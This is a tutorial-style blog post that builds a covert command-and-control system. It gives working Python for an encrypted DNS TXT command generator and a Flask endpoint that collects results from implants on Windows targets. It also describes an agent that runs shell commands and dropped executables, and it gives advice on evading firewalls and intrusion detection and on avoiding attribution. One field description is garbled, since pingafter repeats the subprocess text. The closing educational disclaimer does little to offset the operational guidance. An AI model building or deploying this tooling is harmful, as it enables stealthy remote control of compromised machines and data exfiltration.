Introduction

In cybersecurity, Command and Control (C2) servers play a critical role in enabling remote administration of systems, legitimately for IT, or covertly by adversaries. In this project, I explore how to architect and implement a basic yet realistic C2 infrastructure using Python, DNS over TXT records, and encrypted HTTPS communications.

Understanding C2 Servers (Command & Control)

A C2 server, or Command and Control server, is a critical component in both offensive cybersecurity operations (like penetration testing and red teaming) and malicious cyberattacks. It acts as the central communication hub between an attacker (or operator) and compromised systems (often called agents or bots).

In real-world scenarios, attackers use C2 servers to:

  • Send commands to infected machines
  • Retrieve data from compromised hosts
  • Deliver payloads or updates to malware
  • Maintain persistent control over a network

Why Use DNS TXT Records for C2 Communication?

In advanced Command and Control (C2) architectures, leveraging DNS TXT records presents a highly effective and discreet method for communicating with deployed agents. This approach is frequently adopted in red team engagements, advanced persistent threat (APT) frameworks, and security research for several compelling reasons:

  1. Stealth and Detection Avoidance
    DNS traffic is ubiquitous and generally permitted across enterprise networks, making it a prime candidate for covert communications. TXT records, designed to carry arbitrary text, blend seamlessly with legitimate DNS queries such as those used for SPF, DKIM, and domain verification, reducing the likelihood of triggering security alerts.
  2. Firewall and Proxy Evasion
    Most perimeter defenses allow DNS queries by default. By embedding command payloads within TXT records, C2 frameworks can circumvent outbound HTTP/S restrictions and bypass web proxies that would otherwise block non-standard traffic or unfamiliar endpoints.
  3. Infrastructure Decoupling
    DNS-based C2 reduces dependence on dedicated web infrastructure. Operators can issue new instructions or payload references simply by updating DNS records, minimizing exposure and operational overhead. This model enhances resilience while maintaining control over agent behavior in a non-interactive manner.
  4. Low Signature Footprint
    DNS queries inherently generate low network volume and are rarely subjected to deep content inspection. This makes them ideal for transmitting lightweight instructions, status beacons, or encryption-wrapped payloads in environments where minimal footprint is critical.
  5. Operational Simplicity
    TXT records are easy to update using standard DNS management APIs. This allows operators to dynamically change commands, rotate C2 keys, or modify agent behavior without requiring client-side updates or re-deployment.

Setting Up a DNS Server for C2 Command Delivery

For the command distribution mechanism in this C2 infrastructure, we rely on DNS TXT records as a stealthy and efficient medium. To achieve this, a DNS provider that supports dynamic TXT record updates and low TTL (Time-to-Live) values is essential.

Choosing a DNS Provider

For this project, I selected Dynu DNS — a free DNS hosting service that offers:

  • Custom DNS management with third-level subdomains
  • Support for TXT records
  • Minimum TTL of 30 seconds (ideal for fast command propagation)
  • Easy-to-use web interface and API access

Important: While Dynu and similar services offer free DNS hosting, it’s not recommended to use your personal or production-level domains for C2 operations. Always use disposable or project-specific domains to avoid potential legal or reputational risks.

Step-by-Step DNS Setup

  1. Create a Dynu Account
    • Register for a free account at dynu.com.
  2. Add a Free Subdomain
    • Navigate to “DDNS Services” and add a new free third-level domain (e.g., yourproject.dynu.net).
  3. Enable TXT Records
    • Go to your subdomain’s DNS Records section.
    • Add a TXT record with the name like getcmd.yourproject.dynu.net.
    • Leave the content blank for now — this will later hold your encrypted command payload.
  4. Set TTL
    • Set the TTL to 30 seconds (the minimum allowed by Dynu). This ensures your clients check for new commands frequently without long caching delays.
  5. Manage Commands
    • You can now dynamically update the TXT record’s content via the web dashboard or API to issue new encrypted C2 commands.

Optional: Using a Custom Domain

Although this project used my own registered domain for demonstration purposes, it’s worth reiterating:

⚠️ Do not use personal or business-registered domains for C2 operations. This can lead to domain blacklisting, legal inquiries, or unintended exposure if misused or discovered during security scans.

Instead, use throwaway domains or free third-level subdomains from DNS hosting services to isolate your infrastructure and reduce attribution risk.

Command Generation for Encrypted DNS Communication

In modern Command and Control (C2) architectures, leveraging DNS TXT records for covert communication offers several advantages, particularly in environments with strict outbound network policies. However, transmitting commands in plaintext through DNS exposes them to inspection, logging, and forensic analysis. To mitigate this, all commands must be securely encrypted prior to publication.

This section explains the rationale behind using AES encryption, the structure of the command payload, and how to generate encrypted strings suitable for inclusion in DNS TXT records.

Why AES Encryption ?

AES (Advanced Encryption Standard) with CBC (Cipher Block Chaining) mode is a widely trusted symmetric encryption algorithm offering a good balance of security and performance. In this project, AES-128 is used with a predefined key and initialization vector (IV). The encrypted result is base64-encoded to ensure compatibility with DNS TXT field constraints.

Key benefits of this approach include:

  • Confidentiality: Prevents exposure of command payloads via DNS monitoring or logging.
  • Simplicity: The client can decrypt the payload using a shared key and IV with minimal overhead.
  • Portability: Base64 encoding ensures the payload can be stored in text-based systems like DNS records without modification.
  • Flexibility: The payload format supports both shell commands and embedded binary executables.

Python-Based DNS Command Generator

The following Python script allows operators to craft encrypted commands with optional shell instructions, embedded executables, and a ping interval. The output is suitable for placement in a DNS TXT record and can be decrypted and executed by an appropriate client agent.

import json
import base64
from Crypto.Cipher import AES

# AES-128 configuration
AES_KEY = b'mysecretaeskey12'       # 16-byte key
AES_IV = b'initialvector123'        # 16-byte IV

def pad(data):
    """
    Apply PKCS7 padding to ensure data length is a multiple of 16 bytes (required for AES).
    """
    pad_len = 16 - (len(data) % 16)
    return data + chr(pad_len) * pad_len

def encrypt_json(json_data):
    """
    Convert a dictionary to JSON, pad, encrypt with AES-128-CBC, and base64-encode the result.
    """
    padded = pad(json.dumps(json_data)).encode()
    cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(encrypted).decode()

def generate_dns_command():
    print("=== DNS Command Generator ===\n")

    # Unique command identifier to prevent re-execution
    cmd_id = input("Command ID (e.g., 1234): ").strip()
    if not cmd_id:
        print("[-] ID is required.")
        return

    # Optional shell command
    command = input("Shell Command (leave blank if not needed): ").strip()

    # Optional base64-encoded binary executable
    executable = input("Executable Base64 (leave blank if not needed): ").strip()

    # Execution mode
    subprocess_flag = input("Run in subprocess? (y/n): ").strip().lower() == "y"

    # Recheck interval for agent (in seconds)
    try:
        ping_after = int(input("Ping again after (seconds): ").strip())
    except ValueError:
        ping_after = 10

    # Construct payload
    command_json = {
        "id": cmd_id,
        "pingafter": ping_after
    }

    if command:
        command_json["command"] = command
        command_json["command-subprocess"] = subprocess_flag

    if executable:
        command_json["executable"] = executable

    # Encrypt and output
    encrypted = encrypt_json(command_json)

    print("\nEncrypted DNS TXT Record:\n")
    print(encrypted)
    print("\nThis string should be added as a TXT record in your DNS provider dashboard.")
    print("Ensure it is enclosed in double quotes if the provider requires it.")

if __name__ == "__main__":
    generate_dns_command()
Overview

The script gathers operator-defined input, including:

  • a unique command identifier,
  • an optional shell command to execute,
  • an optional embedded executable (base64-encoded),
  • the execution mode (standard or subprocess),
  • and the recheck interval (pingafter).

It then packages this data into a JSON object, applies PKCS7 padding, encrypts it using AES-128-CBC, and base64-encodes the result to produce a TXT record-safe string.

Input Fields Explained

FieldDescription
idA unique command identifier (e.g., 1234). This prevents command re-execution by the agent.
commandAn optional shell command to be executed on the target machine (e.g., whoami, tasklist).
command-subprocessBoolean flag. If set to true, the agent will execute the command in a new subprocess using multiprocessing. Process. This helps keep the main thread responsive.
executableA base64-encoded binary payload. If provided, the agent will decode it, write it to disk, and execute it as a standalone .exe file.
pingafterBoolean flag. If set to true, the agent will execute the command in a new subprocess using multiprocessing. Process. This helps keep the main thread responsive.

Example JSON Structure (Before Encryption)

{
  "id": "cmd_102",
  "pingafter": 15,
  "command": "systeminfo",
  "command-subprocess": true
}

Output Example

Upon running the script, you will receive a base64-encoded string that can be directly published as a DNS TXT record:

Encrypted DNS TXT Record:

"nXjCsbN+oU3YED6ljGnHDV/jdoEkYQ4UEV7MNU4He3E="

This payload corresponds to a structured JSON command that the client will decrypt, validate, and execute. By embedding the command in DNS, it becomes resilient to typical firewall policies, especially when using legitimate-looking subdomains on trusted domains.

How the C2 Agent Works: Architecture and Execution Flow

The agent, often referred to as the bot or implant, is a lightweight and persistent executable designed to operate on a target Windows machine. Its core responsibility is to periodically poll for instructions from the Command & Control (C2) server, securely decrypt and interpret the command payload, and execute system-level instructions in either standard or isolated modes.

This section outlines the lifecycle of the agent, the technologies it leverages, and its operational behavior in a real-world simulation context.

Python-Based C2 Agent

1. Persistent Identity Generation

On first execution, the agent generates a stable device identifier using hardware-bound system parameters:

  • BIOS Serial Number
  • System UUID

These identifiers are queried using PowerShell via a subprocess, and then combined to form a unique fingerprint for telemetry and tracking. This ensures that each system can be distinctly identified, even across reboots.

2. Command Retrieval via DNS TXT

The agent relies on a covert DNS channel for command distribution. Every N seconds, it performs a DNS TXT record lookup for a pre-configured domain (e.g., getcmd.example.com). The returned string is:

  • base64-encoded
  • AES-128-CBC encrypted
  • and contains a JSON payload with the command.

This method allows C2 operations to occur over standard DNS infrastructure, reducing the likelihood of detection by conventional network monitoring tools.

3. Decryption and Validation

Once the TXT record is fetched, the agent:

  • Decodes the base64 payload.
  • Decrypts it using the pre-shared AES key and IV.
  • Unpads the result using PKCS7 padding.
  • Parses the JSON to extract execution parameters.

Before execution, the agent checks the command’s unique id against a cached value stored in a hidden temp file to ensure that duplicate commands are not re-executed.

4. Command Execution Logic

The command payload may contain one or both of the following:

  • command: A shell command to run on the host.
  • executable: A base64-encoded binary file to execute.

Each command may optionally include a command-subprocess flag to dictate whether it should be executed in a separate process using Python’s multiprocessing.

Receiving Results from Agents: HTTPS C2 API Endpoint

Once the agent executes a command or payload delivered via DNS, it must report the result (standard output or error) back to the C2 infrastructure. To achieve this securely and reliably, we employ a Flask-based HTTPS REST API endpoint that listens for encrypted JSON payloads from connected agents.

Below is the actual implementation, followed by a breakdown of how it functions and why it was designed this way.

Flask-Based REST API Server (Result Receiver)

from flask import Flask, request, jsonify
from Crypto.Cipher import AES
from base64 import b64decode
import json
import os
from datetime import datetime

app = Flask(__name__)

# Configuration
AES_KEY = b'mysecretaeskey12'
AES_IV = b'initialvector123'
DATA_DIR  = 'DATA'

# Ensure data directory exists
os.makedirs(DATA_DIR , exist_ok=True)

def unpad(data):
    pad_len = data[-1]
    return data[:-pad_len]

def decrypt_data(encrypted_b64):
    try:
        encrypted_bytes = b64decode(encrypted_b64)
        cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
        decrypted = cipher.decrypt(encrypted_bytes)
        return unpad(decrypted).decode('utf-8')
    except Exception as e:
        return None

@app.route('/api/track', methods=['POST'])
def receive_data():
    if request.content_type != 'application/json':
        return jsonify({'error': 'Unsupported Media Type'}), 415

    try:
        data = request.get_json()
        enc_payload = data.get('data')
        if not enc_payload:
            return jsonify({'error': 'Missing "data" field'}), 400
    except Exception:
        return jsonify({'error': 'Invalid JSON'}), 400

    decrypted_data = decrypt_data(enc_payload)
    if decrypted_data is None:
        return jsonify({'error': 'Decryption failed'}), 422

    try:
        parsed = json.loads(decrypted_data)
    except Exception:
        return jsonify({'error': 'Invalid decrypted JSON'}), 406

    # Extract device ID if sent (optional)
    device_id = parsed.get("device_id", "unknown_device")
    result = parsed.get("result", "")

    # Logging result to a structured log file
    now = datetime.now()
    time_str = now.strftime('%H:%M:%S')
    date_str = now.strftime('%Y-%m-%d')

    device_folder = os.path.join(DATA_DIR, device_id)
    os.makedirs(device_folder, exist_ok=True)

    file_path = os.path.join(device_folder, f"{date_str}.log")

    try:
        with open(file_path, "a", encoding="utf-8") as f:
            f.write(f"{time_str} ::\n{result}\n\n")
    except Exception as e:
        print(f"[!] Failed to write log: {e}")

    print(f"[+] {device_id} @ {time_str}:\n{result}\n")

    return jsonify({'status': 'ok', 'code': 200}), 200

@app.route('/')
def default_route():
    return "Telemetry endpoint active", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8841)
How It Works – End-to-End Explanation
  1. Agent sends POST request to /api/track
    • Payload contains a base64-encoded and AES-encrypted JSON string under the “data” key.
    • Payload is structured as:{ “data”: “<encrypted_string>”, “type”: “cmd-result” }
  2. Server decrypts the string using AES-128-CBC with a shared secret key and IV.
  3. Parsed JSON contains:
    • device_id: A unique identifier of the machine
    • result: Command output to be logged
  4. Log Formatting:
    • Logs are stored under DATA/<device_id>/YYYY-MM-DD.log
    • Each entry is timestamped with HH:MM:SS :: result
  5. Output Handling:
    • JSON response is returned to agent with status 200 OK
    • Output is printed to the server console for live monitoring
Why /api/track?

Using a custom REST path like /api/track instead of /upload or /log serves several purposes:

  • Avoids common IDS triggers
  • Makes traffic blend in with legitimate API patterns
  • Offers flexibility to expand the /api namespace with endpoints like /status, /heartbeat, /agent/version, etc.

Deployment Options

You can host the Flask server in various environments based on your infrastructure and accessibility needs:

  • Deploy Flask app using Gunicorn + Nginx
  • Configure HTTPS using Let’s Encrypt
  • Fully public-facing, best for testing or red team environments
Option 2: Use PHP Hosting (Hybrid)
  • Implement a PHP-based API endpoint instead of Python Flask
  • Use openssl_decrypt() in PHP to match Python’s AES-128-CBC logic
  • Easier to deploy on shared hosting plans
Option 3: Host Locally with a Tunnel

For labs or private environments, you can expose your local Flask server securely using tunneling tools:

  • Cloudflare Tunnel
    • Free, fast, and highly secure
    • Works even behind NAT or firewalls
  • Playit.gg
    • Simple CLI tunnel that supports HTTPS
  • Ngrok (Free & Paid)
    • Easy setup and integration
    • Beware of the free plan’s rate limits

Summary

This project showcases the design and implementation of a custom Command and Control (C2) infrastructure that leverages DNS TXT records for covert command delivery and HTTPS for encrypted result exfiltration. Built using Python and widely available libraries, the system includes:

  • A DNS command encoder that outputs AES-encrypted TXT records.
  • A lightweight agent capable of querying DNS, decrypting commands, and executing shell payloads or binaries.
  • A Flask-based HTTPS server for receiving encrypted execution results from agents.
  • Optional deployment strategies, including VPS hosting, PHP hosting, or local hosting via tunnel (Cloudflare Tunnel, Playit.gg).

This architecture is ideal for understanding how real-world C2 frameworks operate—focusing on encryption, modularity, and operational stealth. The system is also modular enough for extension into web dashboards, multi-agent support, or multi-channel communications.

Note: This project is for educational and research purposes only. Do not use it on unauthorized systems or networks.

Code & Repository

Support Icon Support My Projects